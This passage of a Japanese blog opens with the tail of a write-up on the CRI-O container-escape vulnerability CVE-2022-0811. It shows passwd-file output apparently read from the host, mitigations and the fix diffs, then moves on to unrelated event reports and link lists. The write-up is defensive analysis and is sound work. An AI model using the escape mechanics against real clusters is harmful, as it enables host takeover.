games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

回避策

CrowdStrike 社のブログ を参考にしています。
seccomp 等の LSM では防げないため、CRI-O のアップデートが推奨されます。

  • CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)
  • OPA 等のポリシーを設定する
  • PSP で sysctls を全てブロックする
  • pinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する

修正パッチ

commit1

https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1

pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。
こちらは暫定対応?のようで、次に紹介する commit2 で再修正されています。

  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {
    ...
  
    if len(cfg.Sysctls) != 0 {
-     pinnsArgs = append(pinnsArgs, "-s", getSysctlForPinns(cfg.Sysctls))
+     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)
+     if err != nil {
+       return nil, errors.Wrapf(err, "invalid sysctl")
+     }
+     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)
    }
  
    ...
  }

- func getSysctlForPinns(sysctls map[string]string) string {
-   // this assumes there's no sysctl with a `+` in it
+ func getSysctlForPinns(sysctls map[string]string) (string, error) {
+   // This assumes there's no valid sysctl value with a `+` in it
+   // and as such errors if one is found.
    const pinnsSysctlDelim = "+"
    g := new(bytes.Buffer)
    for key, value := range sysctls {
+     if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {
+       return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)
+     }
      fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
    }
-   return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
+   return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil
  }

commit2

https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2

文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。

  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {
    ...
  
-   if len(cfg.Sysctls) != 0 {
-     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)
-     if err != nil {
-       return nil, errors.Wrapf(err, "invalid sysctl")
-     }
-     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)
+   for key, value := range cfg.Sysctls {
+     pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))
    }
  
    ...
  }

containerd の場合

他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。
containerd では sysctls のバリデーションを行なっておらず、設定された sysctls を OCI 側にそのまま渡しているようです。
runc 内の実装に sysctls の検証をしている箇所を見つけました。

https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go

// sysctl validates that the specified sysctl keys are valid or not.
// /proc/sys isn't completely namespaced and depending on which namespaces
// are specified, a subset of sysctls are permitted.
func (v *ConfigValidator) sysctl(config *configs.Config) error {
    validSysctlMap := map[string]bool{
        "kernel.msgmax":          true,
        "kernel.msgmnb":          true,
        "kernel.msgmni":          true,
        "kernel.sem":             true,
        "kernel.shmall":          true,
        "kernel.shmmax":          true,
        "kernel.shmmni":          true,
        "kernel.shm_rmid_forced": true,
    }

    for s := range config.Sysctl {
        if validSysctlMap[s] || strings.HasPrefix(s, "fs.mqueue.") {
            if config.Namespaces.Contains(configs.NEWIPC) {
                continue
            } else {
                return fmt.Errorf("sysctl %q is not allowed in the hosts ipc namespace", s)
            }
        }
        if strings.HasPrefix(s, "net.") {
            if config.Namespaces.Contains(configs.NEWNET) {
                continue
            } else {
                return fmt.Errorf("sysctl %q is not allowed in the hosts network namespace", s)
            }
        }
        return fmt.Errorf("sysctl %q is not in a separate kernel namespace", s)
    }

    return nil
}

CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。

さいごに

初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。
脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。

内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。

参考リンク

https://nvd.nist.gov/vuln/detail/CVE-2022-0811

https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerability

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7

https://pwning.systems/posts/escaping-containers-for-fun/

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts

https://valinux.hatenablog.com/entry/20210721

https://qiita.com/rarul/items/d33b664c8414f065e65e

https://man7.org/linux/man-pages/man5/core.5.html

https://lwn.net/Articles/280959/

https://wiki.ubuntu.com/Apport

情報処理安全確保支援士の関連資料

情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。
(オンライン講習Aで紹介されたリンク集)

サイバーセキュリティ基本法(平成二十六年法律第百四号)

情報処理の促進に関する法律(昭和四十五年法律第九十号)

情報処理学会倫理綱領

RFC:1087 倫理とインターネット(Ethics and the Internet)

セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)

JPCERT インシデントハンドリングマニュアル

IPA 脆弱性対策の効果的な進め方(ツール活用編)

情報セキュリティ早期警戒パートナーシップガイドライン

IPA 重要なセキュリティ情報一覧

IPA 共通脆弱性評価システムCVSS v3概説

JVN (Japan Vulnerability Notes)

JVN 脆弱性レポートの読み方

JVN iPedia

FIRST Common Vulnerability Scoring System SIG

CWE (Common Weakness Enumeration)

IPA 脆弱性体験学習ツール AppGoat

MyJVN

IPA 組織における内部不正防止ガイドライン

地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)

IPA 委託関係における情報セキュリティ対策ガイドライン

IPA 中小企業の情報セキュリティ対策ガイドライン

IPA 情報漏えい対策のしおり

NISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書

個人情報の保護に関する法律についてのガイドライン

IPA 企業(組織)における最低限の情報セキュリティ対策のしおり

スマートフォンのセキュリティ<危険回避>対策のしおり

JPCERT/CC 技術メモ - 安全な Web ブラウザの使い方

IPA ウェブブラウザのプロテクションプロファイル

2019年のふりかえり、2020年の目標

すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。
2019年はDockerやKubernetes、Cloud Native技術を中心に学習を進めました。

勉強会、カンファレンス

  • 1月
    • Cloud Native Meetup Tokyo #6 KubeCon + CNCon Recap
    • Kubernetes Meetup Tokyo #15 - KubeCon 2018 Recap
    • Rancher/Kubernetes勉強会 Kubernetes管理ツールの活用法
    • OWASP Connect in Tokyo #2
    • 今回は特別編!Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#9
  • 2月
    • Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンス
    • Go 1.12 Release Party in Tokyo w/ Fukuoka&Umeda
    • ssmjp 2019/02
    • Docker Meetup Tokyo #28
    • 第三回ボトムアップドメイン駆動設計
    • サイバーセキュリティシンポジウム
  • 3月
    • k8s source code reading #3
    • Cloud Native Meetup Tokyo #7 @Abema Towers
  • 4月
    • Cloud Native Tokyo #01
    • Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会
    • ssmjp 2019/04
    • Rancher k3s もくもく勉強会 #03
  • 5月
    • レガシーをぶっつぶせ。現場でDDD!
    • ssmjp 2019/05
    • IIJ Technical NIGHT vol.7
    • SRE Lounge #9
    • Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)
    • Yahoo! JAPAN MEETUP #32 インフラ技術/Kubernetes
  • 6月
    • NoOps Meetup Tokyo #6
    • Kubernetes Meetup Tokyo #20 - KubeCon Recap
    • GCPUG Tokyo Next Extended 2019 Infra Day
    • Interact 2019
  • 7月
    • 恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回
    • 第三十五回 Azureもくもく会 @ 品川
    • CloudNative Days Tokyo Meetup w/ Melanie Cebula
    • Kubernetes Meetup Tokyo #21 - Cloud Native CI/CD
    • SekkeiKaigi
    • Cloud Native Days Tokyo 2019 → スタッフとして参加
  • 8月
    • SRE Lounge #10
    • CloudNative Days Tokyo 2019振り返りNight
    • Go 1.13 Release Party in Tokyo
    • Kubernetes Meetup Tokyo #22
  • 9月
    • Docker Meetup Tokyo #32
    • Japan Azure User Group 9周年イベント
    • XP祭り2019
    • golang.tokyo #26
    • Cloud Native Meetup Tokyo #10
    • Kubernetes Meetup Tokyo #23 - Operator Deep Dive
  • 10月
    • Terraform meetup tokyo#2
    • Kubernetes Meetup Tokyo #24
    • SRE Lounge #11
  • 11月
    • さくらの夕べDocker/Kubernetesナイト #2
    • Go Release 10 Year Anniversary Party in Tokyo
    • ゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催
    • 技術書典8 はじめてのサークル参加meetup
    • Microsoft Open Tech Night #1 - インフラ編+Ignite速報
    • 俺たちの最適なCloud Nativeを求めて…。本気のこと始め! - cndjp第13回
  • 12月
    • Japan Rook Meetup #1
    • Cloud Native Meetup Tokyo #11 KubeCon Recap
    • GDG DevFest Tokyo 2019
    • Microsoft Open Tech Night #3 - クラウドネイティブ編

登壇資料

speakerdeck.com

speakerdeck.com

speakerdeck.com

書籍

商業誌

同人誌

  • ふりかえり読本 場作り編
  • ふりかえり読本 学び編
  • ふりかえり読本 実践編
  • 理論と事例でわかる自己肯定感
  • 理論と事例でわかるモチベーション
  • 現場の「ズレ」を解消するコミュニケーションメソッド 第2版
  • 会話の引き出しを増やす 1on1カード と 使いこなしブック
  • PrometheusでKubernetesを監視する本
  • Kubernetes-Native Development & Deployment
  • 実践入門 Kubernetes カスタムコントローラへの道
  • Knativeの歩き方

資格

  • 情報処理安全確保支援士
  • LPIC 101、102

ツール・技術

  • Docker
  • Kubernetes
  • Helm
  • Prometheus
  • Grafana
  • Loki
  • Argo CD
  • Concourse
  • Terraform
  • Telepresence
  • cert-manager
  • Windowsコンテナ
  • Microsoft Azure
  • Go言語
  • Vue.js

社内での活動

2020年の目標

2020年もCloud Nativeを突き進む予定です。
スキルを高め、一方的に与えられるだけでなく、人に与えることもできるエンジニアを目指します。

マスト

  • CKA、CKADを取得する
  • コミュニティに貢献する
  • OSSにコントリビュートする
  • Go言語でのプログラミングに慣れる
  • 英語力を高める

できれば

  • 業務としてKubernetesを扱える環境に身を置く(遠回しな表現)
  • 技術書を書く

【イベント参加レポート】Microsoft Ignite The Tour Tokyo

2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。

www.microsoft.com

概要

  • アメリカで行われた Ignite のセッションを再演
    • 登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)
  • 新情報の発表等はされず、通常セッションとハンズオンのみ
  • Microsoft エキスパートとの交流の場
  • 外国人のスタッフを多数配置
    • 基本的には英語でやり取りするらしい (私は話しませんでした)

感想

  • 外国人が多く、グローバルな印象を受けました。
  • 会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。
  • ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。
  • 技術的には初級者向けの内容が多かったと思います。
  • セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。
  • MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。

セッション

参加セッションのまとめとメモ。

THR30031 - Azure とコマンドライン-オプション、ヒント、テクニック

難易度:初級

メモ

APPS30 - コンテナーを利用したアプリケーションの最新化

資料: https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30

難易度:初級

要点

  • コンテナ、Dockerの基礎的な説明
  • コンテナランタイムやマルチステージビルド等は、軽く話に出る程度
  • コンテナに関しては特に知らない話はなかった
  • ACRやACIの概要、使い方の軽い説明
  • サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用

メモ

  • データセンターのアプリをクラウドにLift&Shift
  • 仮想マシンはいいけど無駄が多い
  • コンテナを使ったモダナイゼーション
    • アプリの境界を明確にする
    • 旧バージョンの残りファイルがなくなる
    • オーバーヘッドなしでリソース分離
    • 繰り返し可能なビルド、環境構築
  • コンテナを使う理由
    • あらゆる環境で同じように動作する
    • ベロシティの向上
  • コンテナの仕組み
    • 高度に構成されたプロセス
    • cgroups
    • namespace
    • ベースイメージからの差分をgzip化したもの
  • コンテナランタイムの軽い説明
    • Docker以外にも対応、containerd、runC
  • Dockerfile
    • イメージのビルド方法を説明するテキストファイル
    • バッチスクリプトみたいなもの
  • ビルド
  • リポジトリ
  • ACR
  • ACI
    • サーバーレスのコンテナ実行環境
    • ハイパーバイザーレベルの分離
  • デモ
    • サービス移行の話

APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する

資料: https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40

難易度:中級

要点

  • AKSの作成手順の説明
  • AKSとAzureの連携サービスについて知識を整理できた
  • オートスケールの話は理解が浅かったので参考になった
  • AKSを使う最大のメリットはAzureADとの連携
  • ネットワークとセキュリティの話は非常に参考になった
    • ネットワークポリシーやAZ

メモ

  • 基本的な使い方ではなく、発展的な内容
  • Tailwind Tradaersのデモ
  • 経営、ビジネス課題に対応
    • 復元力
    • セキュリティ
    • 柔軟性
    • スケール
  • Kubernetesを選択する理由
    • 抽象化のための標準化されたAPI
    • 自己修復
    • スケーラビリティ
  • k8sアーキテクチャ
  • AKSはマスターノードが無料で提供される
  • ネットワークに2種類指定できる
    • デフォルトはkubenet
    • Azure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要がある
  • ACIを仮想ノードとして使用
  • AZ
  • AKSの作成
  • 本番クラスタを作成するにはオプションを多数指定する必要がある
    • 作成時にしか設定できないオプションがある
    • インストール時にCNI、AZの設定をする
  • 仮想ノードの有効化
    • ACIをAKSから使えるようにする必要がある
  • RabbitMQ is 何?
  • HPA
    • メトリクスサーバーにPodから情報が送られる
    • 閾値を超えたらスケール
  • クラスタオートスケーラー
    • ノードのスケール
  • 仮想ノード
  • 仮想ノードによるスケールのデモ
  • ネットワークとセキュリティ
    • ACRでコンテナの脆弱性をチェック
    • AKSを使う最大のメリットはAzureADとの連携!
    • Azure Key Vault
  • Pod間の通信
    • Pod Identity
      • NMI Server(Daemonset)
      • MIC
      • Azure Identity Binding
  • ネットワークポリシー
  • AZ
    • ベータ版
    • データセンター障害の回復性
    • ゾーンは3つまで使用可能
    • ゾーンの数に合わせてレプリカ数を設定

THR10007 - ITと技術者の将来について語り合う

エモい話

要点

  • ディスカッション形式
  • コミュニティ参加やアウトプットを重視している
  • どんどんチャレンジしてスキルをつけていくことが大事

メモ

  • 今後あるいは10年後どうなる?
  • これからチャレンジしたいことは?
    • MR
    • フリーランス
    • 自分の営業をこれからも続けていく
      • 自分が何が得意で、何が苦手かアピール
    • ブルーオーシャンを探したい
    • コミュニティのエンパワーメント
      • 出てこない人にどうやって技術を好きになってもらうか
      • 社内コミュニティを作ってもらう
  • お勧めしたいことは?
    • 技術を楽しんで、周りに広めていく
      • 仲間ができてコミュニティができる
      • 人を変えるのは難しい、好きなことを広めることならできる
      • 楽しんでる雰囲気を出していると向こうから来てくれる
    • 自分の強みを知って、それを発信していく
      • 業務で触ってなくてもコミュニティで発表いていた
      • やりたいこと、好きなことを見つけて、人が見える場所に出していく
    • 外のコミュニティに参加してみる
      • 会社にいるだけではスキルはプロジェクト依存
      • コミュニティの熱量がすごい
      • アウトプットすると強い人がインプットをくれる
    • とりあえず踏み出してみる
    • 楽しんだもの勝ち
    • やりたいことを素直にやってみる

UNC10013 - Vue.js 3 に向けた Vue.js 入門

難易度:初級~中級

要点

  • Vue.js の設計思想、V3 でも使える構文、V3 の新機能
  • コンポジッションAPI
    • 関数ベースで提供される API
    • コンポーネントのロジックが綺麗になる
    • V2 でもお試しで使える

ブース

立ち寄ったブースの中で、興味を持った内容を紹介します。

Lenovo

Lenovo ThinkSystem SE350 | レノボジャパン

  • 軽量でコンパクトなエッジサーバー
  • WifiLTE、有線ネットワーク対応

Intel

製品概要: OpenVINO™ ツールキット

Pivotal

Azure Spring Cloud | Microsoft Docs

  • Spring Boot アプリをクラウドで実行
    • ベータ版のサービス
  • AKS 上にデプロイされる
    • 水平スケールやメトリクス、ログの収集が可能
    • AKS は隠蔽されているため、ユーザーからは見えない
  • 手軽に導入できるので POC にも適している

de:code 2019 参加レポート

Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。
セッション内容や感想をまとめます。

www.microsoft.com

参加セッション

1日目

コンテナ技術を中心にセッションを選択

  • 【KN01】基調講演
  • 【CD06】しくみがわかる Azure Kubernetes Service (AKS) ~開発者目線で Kubernetes の基本を理解する~
  • 【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション
  • 【CD91】HashiCorp Terraform Azure Provider チュートリアル
  • 【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWN

www.youtube.com

2日目

コンテナ・セキュリティのセッションを選択

  • 【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん
  • 【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決
  • 【CM12】.NET Core マルチ プラットフォームの本質
  • 【SE05】もうセキュリティはやりたくない!! 第 3 弾 ~Azure Sentinel Deep Dive~

注目技術

参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。

Azure Kubernetes Service(AKS)

Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。
今回の de:code でもZOZOテクノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。

Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。

Kubernetes-based Event-driven Autoscaling(KEDA)

MicrosoftRed Hatが共同作成したプロジェクト。 イベント駆動でコンテナのオートスケールを実現します。
KEDA を利用することでマネージドなサーバーレスサービスだけでなく、様々な環境でAzure Functionsを実行できるようになります。

GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in Kubernetes

Virtual Kubelet

kubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。
サーバーレスコンテナプラットフォームの Azure Container Instance(ACI) を、VM と同じように Kubernetes クラスタで一元管理できます。

GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.

Windows コンテナサポート

Windows Server Node が、Kubernetes クラスタLinux Node と同時に管理できるようになりました。
AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。
(チュートリアルを試しましたが、なぜかクラスタ作成に失敗)

Windows containers now supported in Kubernetes - Open Source blog

Azure NetApp Files

NetApp 社の高速ストレージサービス。 SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。 また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの?)

Azure NetApp Files documentation | Microsoft Docs

Azure Sentinel

AI を使用した高機能なセキュリティサービス。
高速に大量のセキュリティイベントを分析し、視覚的に脅威を確認することができます。
セッションでは攻撃デモを行いましたが、攻撃の手順を時系列で、視覚的に追跡することが可能でした。

Azure Sentinel | Microsoft Azure

その他

  • Azure DevOps
  • Azure Pipline
  • App Service
  • Service Fabric
  • WSL2

感想

Azureに関連したテーマのセッションがほとんどでした。
各種クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。
全体的に満足のいく内容でしたが、Service Mesh Interface の話がなかったのは残念でした。
個人的に興味のあるAKS、AzureADの動向は今後も注目していこうと思います。

LT資料

社内勉強会で de:code の recap を発表しました。

www.slideshare.net

おまけ

2日間のお昼のお弁当です。

f:id:kyohmizu:20190606111337j:plain:w500
1日目

f:id:kyohmizu:20190606111427j:plain:w500
2日目

Kubernetesリンク集

Kubernetes関連の役立つリンクを記載します。

公式リファレンス

Reference - Kubernetes

Kubectl Reference Docs

Phippy and Friends - Cloud Native Computing Foundation

GitHub

GitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and Management

GitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.

GitHub - jamiehannaford/what-happens-when-k8s: 🤔 What happens when I type kubectl run?

プロダクト

Google Kubernetes Engine documentation  |  Kubernetes Engine  |  Google Cloud

Azure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft Docs

What Is Amazon EKS? - Amazon EKS

Documentation | Rancher Labs

K3s: Kightweight Kubernetes

Pivotal Container Service (PKS) | Pivotal

スライド、ブログ等

Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker Deck

Kubernetes Patterns : Capacity Planning

KubeWeekly - Qiita

Kubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ

書籍

Kubernetes完全ガイド - インプレスブックス